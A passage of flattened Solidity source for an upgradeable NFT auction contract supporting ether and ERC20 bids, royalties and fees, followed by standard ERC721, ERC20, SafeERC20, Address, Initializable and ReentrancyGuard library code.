@notice Emitted when a new auction params are set. * * @param overtimeWindow. */ event OvertimeWindowSet( uint256 overtimeWindow ); /** * @notice Emitted when a new auction params are set. * * @param authorRoyaltyNumerator. */ event AuthorRoyaltyNumeratorSet( uint256 authorRoyaltyNumerator ); /** * @notice Emitted when a new bid or outbid is created on a given NFT. * * @param nftId The NFT ID of the token bid on. * @param bidder The bidder address. * @param amount The amount used to bid. * @param amountToken The token of amount bid or 0 for ether. * @param endTimestamp The new end timestamp. */ event BidSubmitted( uint256 indexed nftId, address indexed bidder, uint256 amount, address amountToken, uint256 endTimestamp ); /** * @notice Emitted when an NFT is won and claimed. * * @param nftId The NFT ID of the token claimed. * @param winner The winner of the NFT. * @param claimCaller Who called the claim method. * @param wonBidAmount The total bid amount. * @param paidToAuctioneer How much tokens are paid to auctioneer (excluding fee and royalty). */ event WonNftClaimed( uint256 indexed nftId, address indexed winner, address claimCaller, uint256 wonBidAmount, uint256 paidToAuctioneer ); /** * @notice Emitted when auction reserve price changed. * * @param nftId The NFT ID of the token changed. * @param startPrice The new reserve price. * @param startPriceToken The token of start price or 0 for ether. * @param reservePriceChanger The caller of the method. */ event ReservePriceChanged( uint256 indexed nftId, uint256 startPrice, address startPriceToken, address indexed reservePriceChanger ); function getPaused() external view returns(bool) { return _paused; } /** * @dev Initializes the contract. * * @param _overtimeWindow The overtime window, * triggers on bid `endTimestamp := max(endTimestamp, bid.timestamp + overtimeWindow)` * @param _auctionDuration The minimum auction duration. (e.g. 24*3600) * @param _minStepNumerator The minimum auction price step. (e.g. 500 ~ 5% see `DENOMINATOR`) * @param _payableToken The address of payable token. * @param _nft Only one NFT is allowed. * @param _adminAddress The administrator address to set, allows pausing and editing settings. * @param _treasury The address of treasury. * @param _feeCreatorToBuyerTokenNumerator fee for token auctions. * @param _feeResellerToBuyerTokenNumerator fee for token auctions. * @param _feeCreatorToBuyerETHNumerator fee for ETH auctions. * @param _feeResellerToBuyerETHNumerator fee for ETH auctions. */ function initialize( uint256 _overtimeWindow, uint256 _auctionDuration, uint256 _minStepNumerator, uint256 _authorRoyaltyNumerator, address _payableToken, address _nft, address _adminAddress, address _treasury, uint256 _feeCreatorToBuyerTokenNumerator, uint256 _feeResellerToBuyerTokenNumerator, uint256 _feeCreatorToBuyerETHNumerator, uint256 _feeResellerToBuyerETHNumerator ) external initializer { require( _adminAddress != address(0), Errors.ZERO_ADDRESS ); require( _payableToken != address(0), Errors.ZERO_ADDRESS ); require( _nft != address(0), Errors.ZERO_ADDRESS ); require( _treasury != address(0), Errors.ZERO_ADDRESS ); _admin = _adminAddress; payableToken = IERC20(_payableToken); nft = IERC721(_nft); treasury = _treasury; setAuctionDuration(_auctionDuration); setOvertimeWindow(_overtimeWindow); setMinPriceStepNumerator(_minStepNumerator); setAuthorRoyaltyNumerator(_authorRoyaltyNumerator); setFeeCreatorToBuyerTokenNumerator(_feeCreatorToBuyerTokenNumerator); setFeeResellerToBuyerTokenNumerator(_feeResellerToBuyerTokenNumerator); setFeeCreatorToBuyerETHNumerator(_feeCreatorToBuyerETHNumerator); setFeeResellerToBuyerETHNumerator(_feeResellerToBuyerETHNumerator); } /** * @dev Admin function to set new treasury address. * * @param treasuryAddress The new treasury address. */ function setTreasury(address treasuryAddress) external onlyAdmin { require( treasuryAddress != address(0), Errors.ZERO_ADDRESS ); treasury = treasuryAddress; emit TreasurySet(treasuryAddress); } /** * @dev Admin function to change the auction duration. * * @param newAuctionDuration The new minimum auction duration to set. */ function setAuctionDuration(uint256 newAuctionDuration) public onlyAdmin { require(newAuctionDuration >= MIN_AUCTION_DURATION && newAuctionDuration <= MAX_AUCTION_DURATION, Errors.INVALID_AUCTION_PARAMS); auctionDuration = newAuctionDuration; emit AuctionDurationSet(newAuctionDuration); } /** * @dev Admin function to set the auction overtime window. * * @param newOvertimeWindow The new overtime window to set. */ function setOvertimeWindow(uint256 newOvertimeWindow) public onlyAdmin { require(newOvertimeWindow >= MIN_OVERTIME_WINDOW && newOvertimeWindow <= MAX_OVERTIME_WINDOW, Errors.INVALID_AUCTION_PARAMS); overtimeWindow = newOvertimeWindow; emit OvertimeWindowSet(newOvertimeWindow); } /** * @dev Admin function to set the auction price step numerator. * * @param newMinPriceStepNumerator The new overtime window to set. */ function setMinPriceStepNumerator(uint256 newMinPriceStepNumerator) public onlyAdmin { require(newMinPriceStepNumerator >= MIN_MIN_PRICE_STEP_NUMERATOR && newMinPriceStepNumerator <= MAX_MIN_PRICE_STEP_NUMERATOR, Errors.INVALID_AUCTION_PARAMS); minPriceStepNumerator = newMinPriceStepNumerator; emit MinPriceStepNumeratorSet(newMinPriceStepNumerator); } /** * @dev Admin function to set author royalty numerator. * * @param newAuthorRoyaltyNumerator The new overtime window to set. */ function setAuthorRoyaltyNumerator(uint256 newAuthorRoyaltyNumerator) public onlyAdmin { require(newAuthorRoyaltyNumerator <= DENOMINATOR, Errors.INVALID_AUCTION_PARAMS); authorRoyaltyNumerator = newAuthorRoyaltyNumerator; emit AuthorRoyaltyNumeratorSet(newAuthorRoyaltyNumerator); } /** * @dev Admin function to set setFeeCreatorToBuyerTokenNumerator. * * @param newFeeCreatorToBuyerTokenNumerator The new value. */ function setFeeCreatorToBuyerTokenNumerator(uint256 newFeeCreatorToBuyerTokenNumerator) public onlyAdmin { require(newFeeCreatorToBuyerTokenNumerator <= DENOMINATOR, Errors.INVALID_AUCTION_PARAMS); feeCreatorToBuyerTokenNumerator = newFeeCreatorToBuyerTokenNumerator; emit FeeCreatorToBuyerTokenNumeratorSet(newFeeCreatorToBuyerTokenNumerator); } /** * @dev Admin function to set setFeeResellerToBuyerTokenNumerator. * * @param newFeeResellerToBuyerTokenNumerator The new value. */ function setFeeResellerToBuyerTokenNumerator(uint256 newFeeResellerToBuyerTokenNumerator) public onlyAdmin { require(newFeeResellerToBuyerTokenNumerator <= DENOMINATOR, Errors.INVALID_AUCTION_PARAMS); feeResellerToBuyerTokenNumerator = newFeeResellerToBuyerTokenNumerator; emit FeeResellerToBuyerTokenNumeratorSet(newFeeResellerToBuyerTokenNumerator); } /** * @dev Admin function to set setFeeCreatorToBuyerETHNumerator. * * @param newFeeCreatorToBuyerETHNumerator The new value. */ function setFeeCreatorToBuyerETHNumerator(uint256 newFeeCreatorToBuyerETHNumerator) public onlyAdmin { require(newFeeCreatorToBuyerETHNumerator <= DENOMINATOR, Errors.INVALID_AUCTION_PARAMS); feeCreatorToBuyerETHNumerator = newFeeCreatorToBuyerETHNumerator; emit FeeCreatorToBuyerETHNumeratorSet(newFeeCreatorToBuyerETHNumerator); } /** * @dev Admin function to set setFeeResellerToBuyerETHNumerator. * * @param newFeeResellerToBuyerETHNumerator The new value. */ function setFeeResellerToBuyerETHNumerator(uint256 newFeeResellerToBuyerETHNumerator) public onlyAdmin { require(newFeeResellerToBuyerETHNumerator <= DENOMINATOR, Errors.INVALID_AUCTION_PARAMS); feeResellerToBuyerETHNumerator = newFeeResellerToBuyerETHNumerator; emit FeeResellerToBuyerETHNumeratorSet(newFeeResellerToBuyerETHNumerator); } /** * @dev Create new auction. * * @param nftId Id of NFT token for the auction (must be approved for transfer by Auction smart-contract). * @param startPrice Minimum price for the first bid in ether or tokens depending on isEtherPrice value. * @param isEtherPrice True to create auction in ether, false to create auction in payableToken. */ function createAuction( uint256 nftId, uint256 startPrice, bool isEtherPrice ) external nonReentrant whenNotPaused { require(_nftId2auction[nftId].auctioneer == address(0), Errors.AUCTION_EXISTS); require(startPrice > 0, Errors.INVALID_AUCTION_PARAMS); address token = isEtherPrice ? address(0) : address(payableToken); DataTypes.AuctionData memory auctionData = DataTypes.AuctionData( startPrice, token, msg.sender, address(0), // bidder 0 // endTimestamp ); _nftId2auction[nftId] = auctionData; IERC721(nft).transferFrom(msg.sender, address(this), nftId); // maybe use safeTransferFrom emit AuctionCreated(nftId, msg.sender, startPrice, token); } /** * @notice Claims a won NFT after an auction. Can be called by anyone. * * @param nftId The NFT ID of the token to claim. */ function claimWonNFT(uint256 nftId) external nonReentrant whenNotPaused { DataTypes.AuctionData storage auction = _nftId2auction[nftId]; address auctioneer = auction.auctioneer; address winner = auction.currentBidder; uint256 endTimestamp = auction.endTimestamp; uint256 currentBid = auction.currentBid; uint256 payToAuctioneer = currentBid; address bidToken = auction.bidToken; require(block.timestamp > endTimestamp, Errors.AUCTION_NOT_FINISHED); require(winner != address(0), Errors.EMPTY_WINNER); // auction does not exist or did not start, no bid delete _nftId2auction[nftId]; // storage change before external calls // warning: will not work for usual erc721 address author = IERC721TokenAuthor(address(nft)).tokenAuthor(nftId); if (author != auctioneer) { // pay royalty uint256 payToAuthor = currentBid * authorRoyaltyNumerator / DENOMINATOR; payToAuctioneer -= payToAuthor; emit RoyaltyPaid(nftId, author, payToAuthor, bidToken); if (bidToken == address(0)) { // eth payable(author).transfer(payToAuthor); } else { // erc20 payableToken.safeTransfer(author, payToAuthor); } // note: as the result of this mechanism, there is one contr-intuitive consequence: // creator receives the discount on buying back his created NFT. // New nft holder must be informed that he will not receive 100% // of money from his auction because of the roylaty } if (bidToken == address(0)) { // eth uint256 fee = 0; if (author == auctioneer) { // creatorToBuyer fee = payToAuctioneer * uint256(feeCreatorToBuyerETHNumerator) / uint256(DENOMINATOR); } else { // resellerToBuyer fee = payToAuctioneer * uint256(feeResellerToBuyerETHNumerator) / uint256(DENOMINATOR); } if (fee > 0) { payToAuctioneer -= fee; payable(treasury).transfer(fee); } emit FeePaid({ nftId: nftId, payer: winner, feeAmount: fee, amountToken: address(0) }); emit WonNftClaimed(nftId, winner, msg.sender, currentBid, payToAuctioneer); payable(auctioneer).transfer(payToAuctioneer); } else { //erc20 uint256 fee = 0; if (author == auctioneer) { // creatorToBuyer fee = payToAuctioneer * uint256(feeCreatorToBuyerTokenNumerator) / uint256(DENOMINATOR); } else { // resellerToBuyer fee = payToAuctioneer * uint256(feeResellerToBuyerTokenNumerator) / uint256(DENOMINATOR); } if (fee > 0) { payToAuctioneer -= fee; payableToken.safeTransfer(treasury, fee); } emit FeePaid({ nftId: nftId, payer: winner, feeAmount: fee, amountToken: address(payableToken) }); emit WonNftClaimed(nftId, winner, msg.sender, currentBid, payToAuctioneer); payableToken.safeTransfer(auctioneer, payToAuctioneer); } // sine we use the only one nft, we don't need to call safeTransferFrom IERC721(nft).transferFrom(address(this), winner, nftId); } /** * @notice Returns the auction data for a given NFT. * * @param nftId The NFT ID to query. * * @return The AuctionData containing all data related to a given NFT. */ function getAuctionData(uint256 nftId) external view returns (DataTypes.AuctionData memory) { DataTypes.AuctionData memory auction = _nftId2auction[nftId]; require(auction.auctioneer != address(0), Errors.AUCTION_NOT_EXISTS); return auction; } /** * @notice Cancel an auction. Can be called by the auctioneer or by the admin. * * @param nftId The NFT ID of the token to cancel. */ function cancelAuction( uint256 nftId ) external whenNotPaused nonReentrant { DataTypes.AuctionData memory auction = _nftId2auction[nftId]; require( auction.auctioneer != address(0), Errors.AUCTION_NOT_EXISTS ); require( msg.sender == auction.auctioneer || msg.sender == _admin, // do we really need admin control? Errors.NO_RIGHTS ); require( auction.currentBidder == address(0), Errors.AUCTION_ALREADY_STARTED ); // auction can't be canceled if someone placed a bid. delete _nftId2auction[nftId]; emit AuctionCanceled(nftId, msg.sender); // maybe use safeTransfer (I don't want unclear onERC721Received stuff) IERC721(nft).transferFrom(address(this), auction.auctioneer, nftId); } /** * @notice Change the reserve price (minimum price) of the auction. * * @param nftId The NFT ID of the token. * @param startPrice New start price in tokens or ether depending on auction type. * @param isEtherPrice Should the bidToken be ETH or ERC20. */ function changeReservePrice( uint256 nftId, uint256 startPrice, bool isEtherPrice ) external whenNotPaused nonReentrant { DataTypes.AuctionData memory auction = _nftId2auction[nftId]; require( auction.auctioneer != address(0), Errors.AUCTION_NOT_EXISTS ); require( msg.sender == auction.auctioneer || msg.sender == _admin, // do we really need admin control? Errors.NO_RIGHTS ); require( auction.currentBidder == address(0), Errors.AUCTION_ALREADY_STARTED ); // auction can't be canceled if someone placed a bid. require( startPrice > 0, Errors.INVALID_AUCTION_PARAMS ); address bidToken = isEtherPrice ? address(0) : address(payableToken); _nftId2auction[nftId].currentBid = startPrice; _nftId2auction[nftId].bidToken = bidToken; emit ReservePriceChanged({ nftId: nftId, startPrice: startPrice, startPriceToken: bidToken, reservePriceChanger: msg.sender }); } /** * @notice Place the bid in ERC20 tokens. * * @param nftId The NFT ID of the token. * @param amount Bid amount in ERC20 tokens. */ function bid( uint256 nftId, uint256 amount ) external whenNotPaused nonReentrant { _bid(nftId, amount, address(payableToken)); } /** * @notice Place the bid in ETH. * * @param nftId The NFT ID of the token. * @param amount Bid amount in ETH. */ function bidEther( uint256 nftId, uint256 amount ) external payable whenNotPaused nonReentrant { _bid(nftId, amount, address(0)); } /** * @notice Place the bid. * * @param nftId The NFT id. * @param amount Bid amount. */ function _bid( uint256 nftId, uint256 amount, address auctionToken ) internal { DataTypes.AuctionData storage auction = _nftId2auction[nftId]; require(auction.auctioneer != address(0), Errors.AUCTION_NOT_EXISTS); uint256 currentBid = auction.currentBid; address currentBidder = auction.currentBidder; uint256 endTimestamp = auction.endTimestamp; if (auctionToken != address(0)){ // erc20 require( auction.bidToken == auctionToken, Errors.CANT_BID_ETHER_AUCTION_BY_TOKENS ); } else { // eth require( auction.bidToken == address(0), Errors.CANT_BID_TOKEN_AUCTION_BY_ETHER ); } require( block.timestamp < endTimestamp || // already finished endTimestamp == 0, // or not started Errors.AUCTION_FINISHED ); uint256 newEndTimestamp = auction.endTimestamp; if (endTimestamp == 0) { // first bid require(amount >= currentBid, Errors.SMALL_BID_AMOUNT); // >= startPrice stored in currentBid newEndTimestamp = block.timestamp + auctionDuration; auction.endTimestamp = newEndTimestamp; } else { require(amount >= (DENOMINATOR + minPriceStepNumerator) * currentBid / DENOMINATOR, Errors.SMALL_BID_AMOUNT); // >= step over the previous bid if (block.timestamp > endTimestamp - overtimeWindow) { newEndTimestamp = block.timestamp + overtimeWindow; auction.endTimestamp = newEndTimestamp; } } auction.currentBidder = msg.sender; auction.currentBid = amount; // emit here to avoid reentry events mis-ordering emit BidSubmitted(nftId, msg.sender, amount, auction.bidToken, newEndTimestamp); if (auctionToken != address(0)){ // erc20 if (currentBidder != msg.sender) { if (currentBidder != address(0)) { payableToken.safeTransfer(currentBidder, currentBid); } payableToken.safeTransferFrom(msg.sender, address(this), amount); } else { uint256 more = amount - currentBid; payableToken.safeTransferFrom(msg.sender, address(this), more); } } else { // eth if (currentBidder != msg.sender) { require(msg.value == amount, Errors.INVALID_ETHER_AMOUNT); if (currentBidder != address(0)) { payable(currentBidder).transfer(currentBid); } } else { uint256 more = amount - currentBid; require(msg.value == more, Errors.INVALID_ETHER_AMOUNT); } } } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "IERC20.sol"; import "Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != 